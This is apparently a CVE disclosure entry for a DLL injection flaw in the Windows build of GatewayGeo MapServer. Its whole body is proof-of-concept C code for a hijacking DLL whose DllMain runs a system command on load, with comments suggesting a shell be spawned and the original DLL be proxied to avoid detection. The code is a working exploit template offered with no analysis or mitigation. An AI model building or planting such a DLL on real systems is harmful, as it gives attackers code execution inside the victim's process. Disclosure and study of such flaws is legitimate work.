CVE-2026-30478: GatewayGeo MapServer Windows版DLL注入漏洞

#include <windows.h> #include <stdlib.h> // PoC for DLL Injection/Proxying // Compile as a DLL matching the name expected by MapServer BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code executed when the DLL is loaded into the process // Example: Spawn a shell or demonstrate execution (e.g., creating a file) system("whoami > C:\\temp\\cve_2026_30478_poc.txt"); // Optionally, load the original legitimate DLL to maintain functionality // LoadLibraryA("C:\\Path\\To\\Original\\Original.dll"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }